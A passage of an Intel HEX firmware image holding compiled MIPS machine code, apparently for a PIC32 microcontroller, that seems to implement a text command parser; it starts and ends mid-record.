d000000000005c15410f00000000fe66400b15\n:109be00000000000029d023c6ced442435bc400f97\n:109bf000000000003000c2a38800c48f029d023c18\n:109c00007ced4524734d410f000000000900401415\n:109c1000000000000100042402bc400f000000000e\n:109c20003000c2a32439410f000000005c15410f31\n:109c3000000000008800c48f029d023c84ed452492\n:109c4000734d410f00000000190040140000000097\n:109c50000100042402bc400f000000003000c2a339\n:109c6000029d023c3cec4424029d023c90ed4524c4\n:109c70002013410f000000008239410f0000000056\n:109c80006000c2af6000c28f0700401000000000fb\n:109c90006000c28f029d033cc4ed64242128400073\n:109ca0008513410f000000005c15410f000000000b\n:109cb0008800c48f029d023cdced4524734d410faa\n:109cc000000000000d00401400000000010004240a\n:109cd00002bc400f000000003000c2a3029d023c05\n:109ce00064ed442400a0023ce35645242013410fb8\n:109cf000000000005c15410f000000008800c48fc8\n:109d0000029d023ce4ed4524734d410f000000002c\n:109d10000d0040140000000000a0023ce356442463\n:109d200021280000800006246551410f000000003a\n:109d30002120000002bc400f000000003000c2a340\n:109d40006d67400b000000008800c48f029d023c3c\n:109d5000f0ed4524080006247654410f0000000071\n:109d600014004014000000008800c28f0800422444\n:109d700021204000a34a410f000000007f00422c38\n:109d80000c004010000000008800c28f0800422430\n:109d900000a0033ce3566424212840007f49410f82\n:109da000000000002120000002bc400f0000000065\n:109db0003000c2a38800c48f029d023cfced452404\n:109dc000734d410f00000000090040140000000026\n:109dd0000100042402bc400f000000003000c2a3b8\n:109de0005fc0400f000000005c15410f0000000044\n:109df0008800c48f029d023c04ee4524090006241d\n:109e00007654410f000000000c00401400000000d8\n:109e10000100042402bc400f000000003000c2a377\n:109e20008800c28f090042242120400024bb400f3b\n:109e3000000000005c15410f000000008800c48f86\n:109e4000029d023c10ee4524734d410f00000000be\n:109e500013004014000000000100042402bc400f65\n:109e6000000000003000c2a3029d023c3cec4424f0\n:109e7000029d023c14ee45242013410f0000000017\n:109e80005c15410f000000000100023ca086443434\n:109e9000400e410f00000000cb7a400f0000000090\n:109ea0008800c48f029d023c38ee4524734d410f5b\n:109eb0000000000007004014000000000100022420\n:109ec000d88082a32120000002bc400f00000000c7\n:109ed0003000c2a38800c48f029d023c3cee4524a2\n:109ee000070006247654410f00000000390040149a\n:109ef000000000008800c28f070043245c00c227d6\n:109f000021206000029d033c44ee65242130400086\n:109f1000b355410f00000000211840000100022449\n:109f200027006214000000005c00c28f21200000a6\n:109f3000212840008552410f00000000200041040c\n:109f4000000000005c00c28f029d033c6836648cf8\n:109f500021284000af45410f0000000021184000bb\n:109f6000029d023c212060006c36458cd147410f98\n:109f70000000000021204000e353410f00000000da\n:109f8000e88082afe880828f42180200e880828fea\n:109f90000300042421286000213040000800072429\n:109fa000ce0b410f000000002120000002bc400f3a\n:109fb000000000003000c2a3f567400b0000000065\n:109fc000029d023c4ced442435bc400f00000000d3\n:109fd0003000c2a38800c48f029d023c48ee452495\n:109fe000070006247654410f000000002c004014a6\n:109ff000000000008800c28f070044246000c327cf\n:10a000006400c227029d053c50eea524213060006b\n:10a0100021384000b355410f0000000021184000d6\n:10a020000200022419006214000000006000c28fc8\n:10a0300016004010000000006400c38f6000c28f53\n:10a040002b10430011004010000000006000c28f80\n:10a05000401802006400c28f401002000600042471\n:10a06000212860002130400008000724ce0b410f5a\n:10a07000000000002120000002bc400f0000000092\n:10a080003000c2a32868400b00000000029d023c83\n:10a090004ced442435bc400f000000003000c2a34a\n:10a0a0008800c48f029d023c58ee45240700062418\n:10a0b0007654410f0000000024004014000000000e\n:10a0c0008800c28f0700422421204000029d023cec\n:10a0d00060ee4524e8808627b355410f000000005c\n:10a0e0002118400001000224130062140000000047\n:10a0f000e880828f1000401000000000e880828f0e\n:10a1000042180200e880828f0300042421286000a6\n:10a110002130400008000724ce0b410f0000000052\n:10a120002120000002bc400f000000003000c2a34c\n:10a130005368400b00000000029d023c4ced44249b\n:10a1400035bc400f000000003000c2a38800c48f5f\n:10a15000029d023c64ee4524050006247654410f1e\n:10a1600000000000270040140000000000a0023c96\n:10a17000f46c40a08800c28f0500422421204000da\n:10a18000029d023c3cec452400a0023cf46c4624b9\n:10a19000b355410f00000000020042281400401097\n:10a1a0000000000000a0023cf46c442401ea400fcf\n:10a1b000000000000800401400000000029d023c66\n:10a1c0004ced442435bc400f000000003000c2a319\n:10a1d0008168400b000000002120000002bc400ffd\n:10a1e000000000003000c2a38168400b00000000a6\n:10a1f000029d023c30ed442435bc400f00000000bd\n:10a200003000c2a38800c48f029d023c6cee45243e\n:10a21000734d410f000000000a00401400000000d0\n:10a220002120000002bc400f000000003000c2a34b\n:10a2300088bf033ca061629401000424444a827cec\n:10a24000a06162a48800c48f029d023c78ee452480\n:10a25000734d410f00000000090040140000000091\n:10a260002120000002bc400f000000003000c2a30b\n:10a2700088bf033ca0616294444a027ca06162a44e\n:10a280008800c48f029d023c84ee4524734d410f2b\n:10a290000000000009004014000000000100042438\n:10a2a00002bc400f000000003000c2a39b24410ffd\n:10a2b000000000005c15410f000000008800c48f02\n:10a2c000029d023c8cee4524080006247654410f82\n:10a2d000000000002a0040140000000000a0023c22\n:10a2e000d857429021004010000000008800c28f23\n:10a2f0000700422421204000029d023c3cec452402\n:10a3000000a0023cf46c4624b355410f000000004d\n:10a31000211840000100022419006214000000000e\n:10a3200000a0023cf46c4424cde9400f0000000082\n:10a3300007004010000000002120000002bc400f78\n:10a34000000000003000c2a3e068400b00000000e5\n:10a35000029d023c4ced442435bc400f000000003f\n:10a360003000c2a3e068400b00000000029d023ce8\n:10a3700098ee442435bc400f000000003000c2a31a\n:10a380008800c48f029d023cacee452404000624e4\n:10a390007654410f000000002e0040140000000021\n:10a3a00000a0023cf46c40a000a0023cf46d40a070\n:10a3b0006000c0af8800c28f04004224212040000a\n:10a3c000029d023cb4ee452400a0023cf46c4624fd\n:10a3d00000a0023cf46d4724b355410f000000007b\n:10a3e00003004228160040100000000000a0023cbc\n:10a3f000f46c442400a0023cf46d4524f5e8400fc1\n:10a4000000000000070040100000000021200000b4\n:10a4100002bc400f000000003000c2a31569400bd1\n:10a4200000000000029d023c4ced442435bc400f6e\n:10a43000000000003000c2a31569400b00000000be\n:10a44000029d023c30ed442435bc400f000000006a\n:10a450003000c2a38800c48f029d023cbcee45249c\n:10a46000734d410f0000000009004014000000007f\n:10a470000100042402bc400f000000003000c2a311\n:10a48000ff34410f000000005c15410f0000000088\n:10a490008800c48f029d023cc4ee452406000624b9\n:10a4a0007654410f00000000270040140000000017\n:10a4b0008800c28f060043246000c227212060006c\n:10a4c000029d033cccee652421304000b355410f82\n:10a4d0000000000021184000010002241500621451\n:10a4e000000000006000c28fff00423021204000c9\n:10a4f000c434410f000000000700401000000000bd\n:10a500002120000002bc400f000000003000c2a368\n:10a510005269400b00000000029d023cd0ee442432\n:10a5200035bc400f000000003000c2a35269400b50\n:10a5300000000000029d023c30ed442435bc400f79\n:10a54000000000003000c2a38800c48f029d023cbe\n:10a55000e4ee4524080006247654410f0000000074\n:10a5600027004014000000008800c28f0800432428\n:10a570006000c22721206000029d033cccee6524d0\n:10a5800021304000b355410f000000002118400069\n:10a590000100022415006214000000006000c28f58\n:10a5a000ff00423021204000dd34410f0000000058\n:10a5b00007004010000000002120000002bc400ff6\n:10a5c000000000003000c2a38069400b00000000c2\n:10a5d000029d023cd0ee442435bc400f0000000038\n:10a5e0003000c2a38069400b00000000029d023cc5\n:10a5f00030ed442435bc400f000000003000c2a301\n:10a600008800c48f029d023cf0ee45240900062418\n:10a610007654410f000000002700401400000000a5\n:10a620008800c28f090043246000c22721206000f7\n:10a63000029d033cccee652421304000b355410f10\n:10a6400000000000211840000100022415006214df\n:10a65000000000006000c28fff0042302120400057\n:10a66000ee34410f00000000070040100000000021\n:10a670002120000002bc400f000000003000c2a3f7\n:10a68000ae69400b00000000029d023cfcee442439\n:10a6900035bc400f000000003000c2a3ae69400b83\n:10a6a00000000000029d023c30ed442435bc400f08\n:10a6b000000000003000c2a38800c48f029d023c4d\n:10a6c00008ef4524734d410f0000000011004014b5\n:10a6d000000000000100042402bc400f0000000044\n:10a6e0003000c2a3029d023c3cec4424029d023c8b\n:10a6f00010ef45242013410f00000000212000002e\n:10a7000021280000513f410f000000005c15410f5f\n:10a71000000000008800c48f029d023c48ef4524e1\n:10a72000734d410f000000000900401400000000bc\n:10a730002120000002bc400f000000003000c2a336\n:10a7400088bf033c206062948473027c206062a412\n:10a750008800c48f029d023c54ef4524734d410f85\n:10a76000000000000a00401400000000212000004a\n:10a7700002bc400f000000003000c2a388bf033cb1\n:10a7800020606294010004248473827c206062a4af\n:10a790008800c48f029d023c60ef4524050006241a\n:10a7a0007654410f000000008b00401400000000b0\n:10a7b0008800c28f050044246000c3276400c227bc\n:10a7c000029d053c50eea524213060002138400058\n:10a7d000b355410f000000006800c2af6800c28f8f\n:10a7e00005004010000000006800c38f0100022433\n:10a7f00005006210000000006800c38f0200022400\n:10a8000070006214000000006800c38f0100022481\n:10a8100003006214000000006000c28f6400c2af39\n:10a8200000a0023cdc564224b400428cffff4324cb\n:10a830006000c28f2b10620009004014000000006d\n:10a8400000a0023cdc564224b400428cffff4324ab\n:10a850006400c28f2b10620008004010000000004e\n:10a86000029d023c68ef442435bc400f000000000c\n:10a870003000c2a36f6a400b000000006000c38f6d\n:10a880006400c28f00a0043cdc24842421286000e2\n:10a8900021304000cc43410f00000000080040146c\n:10a8a00000000000029d023c84ef442435bc400fb0\n:10a8b000000000003000c2a36f6a400b00000000df\n:10a8c0000100042402bc400f000000003000c2a3bd\n:10a8d00000a0023cdc564224b800428c82180200e0\n:10a8e00000a0023cf46c422421106200000040a051\n:10a8f0006000c28f3400c2af3800c0af666a400b40\n:10a9000000000000029d023c94ef44243400c58ff7\n:10a910008513410f0000000000a0023cdc564224d9\n:10a92000b800428c821802003800c28f1800620002\n:10a9300000a0023cdc2442241220000021188200e6\n:10a9400000a0023cdc564224b800428c8210020077\n:10a9500000a0043cf46c84242128600021304000d5\n:10a96000494a410f00000000029d023c64ed44246e\n:10a9700000a0023cf46c45242013410f00000000ad\n:10a980003400c28f010042243400c2af3800c28fad\n:10a99000010042243800c2af6400c28f3400c38f6c\n:10a9a0002b104300d7ff4010000000005c15410f42\n:10a9b00000000000766a400b00000000766a400b41\n:10a9c00000000000029d023c9cef442435bc400f77\n:10a9d000000000003000c2a38800c48f029d023c2a\n:10a9e000b8ef4524040006247654410f000000000f\n:10a9f0001f0040140000000000a0023cdc5642246e\n:10aa00008700429015004010000000008800c28faf\n:10aa100004004224212040003736410f000000008e\n:10aa200007004010000000002120000002bc400f81\n:10aa3000000000003000c2a39c6a400b0000000030\n:10aa4000029d023c4ced442435bc400f0000000048\n:10aa50003000c2a39c6a400b00000000029d023c33\n:10aa6000c0ef442435bc400f000000003000c2a3fa\n:10aa70008800c48f029d023cd4ef4524734d410fe2\n:10aa80000000000008004010000000008800c48f93\n:10aa9000029d023ce0ef4524734d410f0000000091\n:10aaa000650040140000000000a0023cd85742900e\n:10aab0000800401400000000029d023cecef44241a\n:10aac00035bc400f000000003000c2a30e6b400bed\n:10aad0000000000000a0023cdc56422487004290a7\n:10aae0005800c2a300a0023cd85742240100429063\n:10aaf000090040100000000000a0023cd85742248a\n:10ab00000100429021204000abc0400f0000000037\n:10ab1000cb6a400b0000000000a0023cd8574290d6\n:10ab200021204000abc0400f0000000000a0023c0c\n:10ab3000dc5642248700429000a0033cdc246424bd\n:10ab400000a0033cda576524213040007e2c410fe1\n:10ab5000000000000800401400000000029d023cbc\n:10ab600008f0442435bc400f000000003000c2a3b0\n:10ab70000e6b400b000000002120000002bc400fc3\n:10ab8000000000003000c2a38800c48f029d023c78\n:10ab9000e0ef4524734d410f000000000900401410\n:10aba0000000000001000224908082af00a0023c5f\n:10abb000dc2444243736410f000000000e6b400bac\n:10abc00000000000006b400b000000000300023c8e\n:10abd00090d04434400e410f0000000088bf023c7a\n:10abe0002061428c040042300100422cff004430be\n:10abf00088bf033c206162948410827c206162a43f\n:10ac00004715410f0000000007004014000000003d\n:10ac100000a0023cdc2444243736410f0000000031\n:10ac2000eaff4014000000005800c29321204000b9\n:10ac3000abc0400f000000008800c48f029d023ca2\n:10ac400018f04524070006247654410f0000000048\n:10ac5000610040140000000000a0023cdc564224c9\n:10ac600087004290570040100000000000a0023c06\n:10ac7000f46c40a000a0023cf46d40a08800c28f9c\n:10ac80000700422421204000029d023cb4ee4524ee\n:10ac900000a0023cf46c462400a0023cf46d472462\n:10aca000b355410f00000000030042284a00401045\n:10acb0000000000000a0023cf46c4224000042802e\n:10acc000450040100000000000a0023cf46d42244a\n:10acd00000004280220040140000000000a0023c5e\n:10ace000dc5642248700429000a0033c5c4564246b\n:10acf00000a0033cf46c65242130400069c5400f7e\n:10ad0000000000000f0040100000000001000424bb\n:10ad100002bc400f000000003000c2a3029d023cb4\n:10ad200064ed442400a0023c5c4545242013410fff\n:10ad3000000000005c15410f00000000766b400b26\n:10ad400000000000029d023c20f0442435bc400f6e\n:10ad5000000000003000c2a3766b400b0000000032\n:10ad600000a0023cdc5642248700429000a0033c35\n:10ad7000f46d64242128400000a0023cf46c4624b9\n:10ad80005ee8400f000000000700401000000000d7\n:10ad90002120000002bc400f000000003000c2a3d0\n:10ada000766b400b00000000029d023c30f0442412\n:10adb00035bc400f000000003000c2a3766b400b92\n:10adc00000000000029d023cc0ef442435bc400f4f\n:10add000000000003000c2a38800c48f029d023c26\n:10ade00044f04524734d410f00000000af004014b3\n:10adf000000000000100042402bc400f000000001d\n:10ae00003000c2a3029d023c3cec4424029d023c63\n:10ae100050f045242013410f00000000029d023c29\n:10ae20003cec4424029d023c6cf045242013410f6d\n:10ae300000000000029d023c3cec4424029d023cc8\n:10ae40008cf045242013410f00000000029d023cbd\n:10ae50003cec4424029d023ca0f045242013410f09\n:10ae600000000000029d023c3cec4424029d023c98\n:10ae7000c8f045242013410f00000000029d023c51\n:10ae80003cec4424029d023c8cf045242013410fed\n:10ae900000000000029d023c3cec4424029d023c68\n:10aea000e8f045242013410f00000000029d023c01\n:10aeb0003cec4424029d023c10f145242013410f38\n:10aec00000000000029d023c3cec4424029d023c38\n:10aed0003cf145242013410f00000000029d023c7c\n:10aee0003cec4424029d023c50f145242013410fc8\n:10aef00000000000029d023c3cec4424029d023c08\n:10af000084f145242013410f00000000029d023c03\n:10af10003cec4424029d023c3cf145242013410fab\n:10af200000000000029d023c3cec4424029d023cd7\n:10af3000a0f145242013410f00000000029d023cb7\n:10af40003cec4424029d023cf0f145242013410fc7\n:10af500000000000029d023c3cec4424029d023ca7\n:10af600010f245242013410f00000000029d023c16\n:10af70003cec4424029d023c30f245242013410f56\n:10af800000000000029d023c3cec4424029d023c77\n:10af900048f245242013410f00000000029d023cae\n:10afa0003cec4424029d023c60f245242013410ff6\n:10afb00000000000029d023c3cec4424029d023c47\n:10afc00080f245242013410f00000000029d023c46\n:10afd0003cec4424029d023c98f245242013410f8e\n:10afe00000000000029d023c3cec4424029d023c17\n:10aff000b0f245242013410f00000000029d023ce6\n:10b000003cec4424029d023cdcf245242013410f19\n:10b0100000000000029d023c3cec4424029d023ce6\n:10b02000f0f245242013410f00000000029d023c75\n:10b030003cec4424029d023c04f345242013410fc0\n:10b0400000000000029d023c3cec4424029d023cb6\n:10b0500020f345242013410f00000000029d023c14\n:10b060003cec4424029d023c38f345242013410f5c\n:10b0700000000000029d023c3cec4424029d023c86\n:10b0800054f345242013410f00000000029d023cb0\n:10b090003cec4424029d023c74f345242013410ff0\n:10b0a000000000005c15410f000000008800c48f04\n:10b0b000029d023c84f34524040006247654410f8b\n:10b0c000000000003e004014000000008800c28f15\n:10b0d000040042246000c3271000a3af6400c3270c\n:10b0e0001400a3af6800c3271800a3af6c00c327e8\n:10b0f0001c00a3af21204000029d023c8cf345249c\n:10b1000000a0023cf46c4624e8808727b355410f29\n:10b1100000000000211840000600022423006214f1\n:10b1200000000000029d023ca0f3442400a0023c69\n:10b13000f46c45242013410f00000000e880858f47\n:10b140006000c38f6400c28f6800c68f6c00c48f1c\n:10b150001000a6af1400a4af00a0043cf46c84243b\n:10b160002130600021384000cef8400f0000000080\n:10b1700007004010000000002120000002bc400f2a\n:10b18000000000003000c2a3706c400b0000000003\n:10b19000029d023c20ed442435bc400f000000001d\n:10b1a0003000c2a3706c400b00000000029d023c06\n:10b1b00030ed442435bc400f000000003000c2a335\n:10b1c0008800c48f029d023cacf34524734d410faf\n:10b1d000000000000e0040140000000001000424e4\n:10b1e00002bc400f000000003000c2a3540b410f0e\n:10b1f00000000000029d033cb8f3642421284000b5\n:10b200008513410f000000005c15410f0000000095\n:10b210008800c48f029d023cc0f345240900062427\n:10b220007654410f000000000c00401400000000a4\n:10b230000100042402bc400f000000003000c2a343\n:10b240008800c28f09004224212040000ebb400f1d\n:10b25000000000005c15410f000000008800c48f52\n:10b26000029d023cccf345240d0006247654410f88\n:10b27000000000002a0040140000000000a0023c72\n:10b28000dc56422487004390080002240800621024\n:10b2900000000000029d023cdcf3442435bc400f5a\n:10b2a000000000003000c2a3c86c400b000000008a\n:10b2b0008800c28f0d00422400a0033cdc246424db\n:10b2c000212840009d8d400f000000000f0040101d\n:10b2d000000000000100042402bc400f0000000038\n:10b2e0003000c2a3029d023c64ed442400a0023c55\n:10b2f000dc2445242013410f000000005c15410fa1\n:10b3000000000000c86c400b00000000029d023ce1\n:10b31000f8f3442435bc400f000000003000c2a305\n:10b320008800c48f029d023c04f4452411000624c9\n:10b330007654410f000000002a0040140000000075\n:10b3400000a0023cdc5642248700439008000224ff\n:10b350000800621000000000029d023cdcf344245f\n:10b3600035bc400f000000003000c2a3f96c400b58\n:10b37000000000008800c28f1100422400a0033c9e\n:10b38000dc24642421284000439b400f000000007f\n:10b390000f004010000000000100042402bc400f18\n:10b3a000000000003000c2a3029d023c64ed442472\n:10b3b00000a0023cdc2445242013410f00000000c3\n:10b3c0005c15410f00000000f96c400b000000000c\n:10b3d000029d023cf8f3442435bc400f00000000fd\n:10b3e0003000c2a38800c48f029d023c18f445249b\n:10b3f0000d0006247654410f000000006300401445\n:10b400000000000000a0023cdc564224870043906c\n:10b41000080002240800621000000000029d023ca7\n:10b42000dcf3442435bc400f000000003000c2a310\n:10b43000636d400b0000000000a0023cf46c40a0d3\n:10b4400000a0023cf46d40a0010002246000c2afe5\n:10b450008800c28f0e00422421204000029d023c41\n:10b46000b4ee452400a0023cf46c462400a0023c4b\n:10b47000f46d4724b355410f00000000020042283c\n:10b480001a00401000000000029d023c28f44424f1\n:10b4900000a0023cf46c4524734d410f00000000f5\n:10b4a000120040140000000000a0023c029d033c7a\n:10b4b0002cf4648c2cf465240400a68c2cf46524f4\n:10b4c0000800a58cf46c44acf46c4424040086acf5\n:10b4d000f46c4424080085ac2cf46324f46c4224fe\n:10b4e0000c0063900c0043a06000c0af029d023cc2\n:10b4f00028f4442400a0023cf46d4524734d410f10\n:10b500000000000002004014000000006000c0af16\n:10b510000100042402bc400f000000003000c2a360\n:10b520005b6d400b000000006000c28f00a0033c78\n:10b53000dc24642400a0033cf46c6524213040002a\n:10b54000689d400f0000000088bf023c2061428cd3\n:10b55000040042300100422cff00443088bf033c0d\n:10b56000206162948410827c206162a44715410f9f\n:10b5700000000000ecff4010000000005c15410fcf\n:10b5800000000000e00c410f000000008800c48fa4\n:10b59000029d023c3cf44524160006247654410fdb\n:10b5a00000000000070040140000000021200000ff\n:10b5b00002bc400f000000003000c2a3da9d400f23\n:10b5c000000000008800c48f029d023c54f4452412\n:10b5d000160006247654410f0000000009004014b4\n:10b5e000000000000100042402bc400f0000000025\n:10b5f0003000c2a3669e400f000000005c15410fa2\n:10b60000000000008800c48f029d023c6cf44524b9\n:10b61000150006247654410f000000002f0040144e\n:10b62000000000000100042402bc400f00000000e4\n:10b630003000c2a38800c48fa34a410f000000005d\n:10b640001600422c1b004014000000008800c28f2e\n:10b65000150044246000c3276400c227029d053cf6\n:10b6600050eea5242130600021384000b355410f31\n:10b67000000000006800c2af6800c28f05004014df\n:10b68000000000006000c0af6400c0afaf6d400bb1\n:10b69000000000006800c38f01000224070062144c\n:10b6a000000000006000c28f6400c2afaf6d400bad\n:10b6b000000000006000c0af6400c0af6000c38f36\n:10b6c0006400c28f21206000212840008d9e400f21\n:10b6d000000000005c15410f000000008800c48fce\n:10b6e000029d023c84f445240f0006247654410f49\n:10b6f000000000001d004014000000008800c28f00\n:10b700000f00422400a0033cdc24642421284000d4\n:10b710005591400f000000000f0040100000000095\n:10b720000100042402bc400f000000003000c2a34e\n:10b73000029d023c64ed442400a0023cdc2445242c\n:10b740002013410f000000005c15410f00000000b5\n:10b75000db6d400b00000000029d023cf8f3442426\n:10b7600035bc400f000000003000c2a38800c48f29\n:10b77000029d023c94f44524120006247654410fa5\n:10b78000000000001d004014000000008800c28f6f\n:10b790001200422400a0033cdc2464242128400041\n:10b7a000a59a400f000000000f00401000000000ac\n:10b7b0000100042402bc400f000000003000c2a3be\n:10b7c000029d023c64ed442400a0023cdc2445249c\n:10b7d0002013410f000000005c15410f0000000025\n:10b7e000ff6d400b00000000029d023cf8f3442472\n:10b7f00035bc400f000000003000c2a38800c48f99\n:10b80000029d023ca8f44524120006247654410f00\n:10b81000000000001d004014000000008800c28fde\n:10b820001200422400a0033cdc24642421284000b0\n:10b83000e19a400f000000000f00401000000000df\n:10b840000100042402bc400f000000003000c2a32d\n:10b85000029d023c64ed442400a0023cdc2445240b\n:10b860002013410f000000005c15410f0000000094\n:10b87000236e400b00000000029d023cf8f34424bc\n:10b8800035bc400f000000003000c2a38800c48f08\n:10b89000029d023cbcf44524040006247654410f6a\n:10b8a0000000000027004014000000008800c28f44\n:10b8b000040043246000c22721206000029d033c55\n:10b8c000ccee652421304000b355410f000000004c\n:10b8d000211840000100022415006214000000003d\n:10b8e0006000c28fff00423021204000662f410fd0\n:10b8f00000000000070040100000000021200000b0\n:10b9000002bc400f000000003000c2a3516e400b8b\n:10b9100000000000029d023cc4f4442435bc400fea\n:10b92000000000003000c2a3516e400b0000000078\n:10b93000029d023c30ed442435bc400f0000000065\n:10b940003000c2a38800c48f029d023cd4f4452479\n:10b95000060006247654410f000000002700401422\n:10b96000000000008800c28f060043246000c22748\n:10b9700021206000029d033cccee65242130400074\n:10b98000b355410f000000002118400001000224bf\n:10b9900015006214000000006000c28fff004230fa\n:10b9a000212040007f2f410f0000000007004010c1\n:10b9b000000000002120000002bc400f0000000039\n:10b9c0003000c2a37f6e400b00000000029d023ccd\n:10b9d000c4f4442435bc400f000000003000c2a372\n:10b9e0007f6e400b00000000029d023c30ed4424bd\n:10b9f00035bc400f000000003000c2a38800c48f97\n:10ba0000029d023cdcf44524070006247654410fd5\n:10ba10000000000027004014000000008800c28fd2\n:10ba2000070043246000c22721206000029d033ce0\n:10ba3000ccee652421304000b355410f00000000da\n:10ba400021184000010002241500621400000000cb\n:10ba50006000c28fff00423021204000902f410f34\n:10ba6000000000000700401000000000212000003e\n:10ba700002bc400f000000003000c2a3ad6e400bbe\n:10ba800000000000029d023cfcee442435bc400f47\n:10ba9000000000003000c2a3ad6e400b00000000ab\n:10baa000029d023c30ed442435bc400f00000000f4\n:10bab0003000c2a38800c48f029d023ce4f44524f8\n:10bac000734d410f0000000007004014000000000b\n:10bad0002120000002bc400f000000003000c2a383\n:10bae0004624410f000000008800c48f029d023ce4\n:10baf000ecf44524050006247654410f00000000b4\n:10bb0000360040140000000000a0023cf46c40a08d\n:10bb10006000c0af8800c28f050043246000c227c8\n:10bb200021206000029d033c5ced652400a0033ce5\n:10bb3000f46c662421384000b355410f000000002a\n:10bb4000030042280800401400000000029d023c4f\n:10bb500030ed442435bc400f000000003000c2a38b\n:10bb6000f76e400b000000006000c28f21204000f3\n:10bb700000a0023cdc24452400a0023cf46c4624d6\n:10bb8000de50410f000000000f00401000000000d8\n:10bb90000100042402bc400f000000003000c2a3da\n:10bba000029d023c64ed442400a0023cdc244524b8\n:10bbb0002013410f000000005c15410f0000000041\n:10bbc000f76e400b00000000029d023cf4f4442498\n:10bbd00035bc400f000000003000c2a38800c48fb5\n:10bbe000029d023c04f54524734d410f0000000006\n:10bbf0000d004014000000000100042402bc400fae\n:10bc0000000000003000c2a3029d023c64ed442409\n:10bc1000029d023c0cf545242013410f000000005a\n:10bc20005c15410f000000008800c48f029d023c9b\n:10bc300014f54524734d410f000000000900401425\n:10bc4000000000000100042402bc400f00000000be\n:10bc50003000c2a3962b410f000000005c15410f7d\n:10bc6000000000008800c48f029d023c1cf54524a2\n:10bc7000070006247654410f0000000043004014e2\n:10bc8000000000008800c28f070044245800c3272a\n:10bc90006400c227029d053c24f5a52421306000e4\n:10bca00021384000b355410f00000000211840002a\n:10bcb0000200022405006214000000005800c39333\n:10bcc0004800022405006210000000005800c393e1\n:10bcd0004c0002242800621400000000496f400b51\n:10bce000000000005800c293480042382b100200a8\n:10bcf000ff0042302120400000a0023cf46c4524ab\n:10bd0000162b410f00000000ff0042305800c2a374\n:10bd10005800c29303004010000000004e6f400b1b\n:10bd2000000000006400c28fffff43246400c3af23\n:10bd3000ecff4014000000005800c29308004010bf\n:10bd400000000000029d023c2cf5442435bc400f4d\n:10bd5000000000003000c2a3636f400b0000000031\n:10bd60002120000002bc400f000000003000c2a3f0\n:10bd7000636f400b00000000029d023c44f5442428\n:10bd800035bc400f000000003000c2a38800c48f03\n:10bd9000029d023c58f54524070006247654410fc5\n:10bda0000000000044004014000000008800c28f22\n:10bdb000070044245800c3276400c227029d053ca5\n:10bdc00024f5a5242130600021384000b355410fef\n:10bdd0000000000021184000020002240500621447\n:10bde000000000005800c3934800022405006210c0\n:10bdf000000000005800c3934c0002242900621484\n:10be000000000000946f400b000000005800c29337\n:10be1000480042382b100200ff0042302120400031\n:10be20002128000000a0023cf46c4624f62a410fb1\n:10be300000000000ff0042305800c2a35800c29327\n:10be40000300401000000000996f400b000000004c\n:10be50006400c28fffff43246400c3afebff4014b4\n:10be6000000000005800c2930800401000000000cd\n:10be7000029d023c60f5442435bc400f00000000e8\n:10be80003000c2a3ae6f400b000000002120000074\n:10be900002bc400f000000003000c2a3ae6f400b98\n:10bea00000000000029d023c78f5442435bc400fa0\n:10beb000000000003000c2a38800c48f029d023c35\n:10bec0008cf54524070006247654410f000000003d\n:10bed00038004014000000008800c28f070044248e\n:10bee0005800c3276400c227029d053c24f5a52401\n:10bef0002130600021384000b355410f00000000a0\n:10bf00002118400002000224050062140000000015\n:10bf10005800c3934800022405006210000000008e\n:10bf20005800c3934c0002241d006214000000005e\n:10bf30005800c293480042382b100200ff004230e4\n:10bf4000211840006400c28f2120600021280000d9\n:10bf50002130400000a0023cf46c4724662b410fc6\n:10bf60000000000007004014000000002120000035\n:10bf700002bc400f000000003000c2a3ed6f400b78\n:10bf800000000000029d023c94f5442435bc400fa3\n:10bf9000000000003000c2a3ed6f400b0000000065\n:10bfa000029d023ca4f5442435bc400f0000000073\n:10bfb0003000c2a38800c48f029d023cb8f545241e\n:10bfc000090006247654410f000000003800401498\n:10bfd000000000008800c28f090044245800c327d5\n:10bfe0006400c227029d053c24f5a5242130600091\n:10bff00021384000b355410f0000000021184000d7\n:10c000000200022405006214000000005800c393df\n:10c010004800022405006210000000005800c3938d\n:10c020004c0002241d006214000000005800c2935e\n:10c03000480042382b100200ff0042302118400017\n:10c040006400c28f212060000100052421304000df\n:10c0500000a0023cf46c4724662b410f0000000056\n:10c0600007004014000000002120000002bc400f27\n:10c07000000000003000c2a32c70400b0000000044\n:10c08000029d023c94f5442435bc400f00000000a2\n:10c090003000c2a32c70400b00000000029d023c47\n:10c0a000a4f5442435bc400f000000003000c2a3ba\n:10c0b0008800c48f029d023cc4f545240800062474\n:10c0c0007654410f000000004200401400000000c0\n:10c0d0008800c28f080044245800c3275c00c22790\n:10c0e000029d053cd0f5a524213060002138400098\n:10c0f000b355410f00000000211840000200022447\n:10c1000005006214000000005800c3934800022498\n:10c1100005006210000000005800c3934c00022488\n:10c1200027006214000000005c00c38f029d023ce7\n:10c13000212060007036458caf45410f00000000a3\n:10c1400021204000a453410f000000006400c2af52\n:10c150005800c293480042382b100200ff004230c2\n:10c16000211840006400c28f2120600021280000b7\n:10c170002130400000a0023cf46c4724662b410fa4\n:10c180000000000007004014000000002120000013\n:10c1900002bc400f000000003000c2a37570400bcd\n:10c1a00000000000029d023c94f5442435bc400f81\n:10c1b000000000003000c2a37570400b00000000ba\n:10c1c000029d023ca4f5442435bc400f0000000051\n:10c1d0003000c2a38800c48f029d023cd8f54524dc\n:10c1e000050006247654410f00000000340040147e\n:10c1f000000000008800c28f050042246000c327b1\n:10c200001000a3af6400c3271400a3af6800c327c6\n:10c210001800a3af21204000029d023ce0f5452418\n:10c2200000a0023cf46c4624e8808727b355410ff8\n:10c230000000000021184000050002241b006214c9\n:10c2400000000000e880858f6000c38f6400c28f0b\n:10c250006800c48f1000a4af00a0043cf46c8424d8\n:10c2600021306000213840009d07410f0000000090\n:10c2700007004010000000002120000002bc400f19\n:10c28000000000003000c2a3b070400b00000000ae\n:10c29000029d023c20ed442435bc400f000000000c\n:10c2a0003000c2a3b070400b00000000029d023cb1\n:10c2b00030ed442435bc400f000000003000c2a324\n:10c2c0008800c48f029d023cf0f54524040006243a\n:10c2d0007654410f000000003600401400000000ba\n:10c2e0008800c28f040044246000c3276400c22772\n:10c2f0006800c5271000a5af6c00c5271400a5afc6\n:10c300007000c5271800a5af7400c5271c00a5af95\n:10c310007800c5272000a5af7c00c5272400a5af65\n:10c32000029d053cf8f5a52421306000213840002d\n:10c33000b355410f000000002118400008000224fe\n:10c3400017006214000000006000c48f6400c58ff5\n:10c350006800c38f6c00c28f7000c98f7400c88fd3\n:10c360007800c78f7c00c68f1000a9af1400a8af5b\n: